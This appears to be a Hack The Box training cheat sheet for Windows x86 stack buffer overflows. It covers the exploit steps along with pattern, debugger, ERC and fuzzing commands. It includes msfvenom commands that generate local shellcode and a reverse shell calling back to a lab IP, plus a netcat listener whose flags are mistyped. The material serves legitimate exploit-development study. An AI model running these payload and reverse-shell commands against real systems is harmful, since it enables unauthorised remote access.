

STACK-BASED BUFFER OVERFLOWS ON WINDOWS X86

CHEAT SHEET

Buffer Overflow Steps

1. Fuzzing Parameters
2. Controlling EIP
3. Identifying Bad Characters
4. Finding a Return Instruction
5. Jumping to Shellcode

Commands

General

RDP to Windows VM:

```
xfreerdp /v:<target IP address>  
/u:htb-student /p:<password>
```

Create Pattern:

```
/usr/bin/msf-pattern_create -l 5000
```

Find Pattern Offset:

```
/usr/bin/msf-pattern_offset -q 31684630
```



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List listening ports on a Windows machine:

```
netstat -a |findstr LISTEN
```

Interact with port: `.\nc.exe 127.0.0.1 8888`

Generate Local Privesc Shellcode:

```
msfvenom -p 'windows/exec' CMD='cmd.exe' -f  
'python' -b '\x00'
```

Generate Reverse Shell Shellcode:

```
msfvenom -p 'windows/shell_reverse_tcp'  
LHOST=10.10.15.10 LPORT=1234 -f 'python' -b  
'\x00\x0a'
```

Listen for reverse shell: `nc -l vnp 1234`

General

Open file: **F3**

Attach to a process: **alt+A**

Go to Logs Tab: **alt+L**

Go to Symbols Tab: **alt+E**

Search for instruction: **ctrl+f**



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Search for pattern:
`ctrl+b`

Search all loaded modules for instruction:
`Search For>All Modules>Command`

Search all loaded modules for pattern:
`Search For>All Modules>Pattern`

ERC

Configure Working Directory:
`ERC --config SetWorkingDirectory
C:\Users\htb-student\Desktop\`

Create Pattern:
`ERC --pattern c 5000`

Find Pattern Offset:
`ERC --pattern o 1hF0`

Generate All Characters Byte Array:
`ERC --bytearray`



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Generate Byte Array excluding certain bytes:
`ERC --bytearray -bytes 0x00`

Compare bytes in memory to a Byte Array file:
`ERC --compare 0014F974 C:\Users\
htb-student\Desktop\ByteArray_1.bin`

List loaded modules and their memory protections:
`ERC --ModuleInfo`

Python

Print fuzzing payload:
`python -c "print('A'*10000)"`

Write fuzzing payload to a file:
`python -c "print('A'*10000,
file=open('fuzz.wav', 'w'))"`

Add breakpoint to Python exploit:
`breakpoint()`

Continue from breakpoint:
`c`

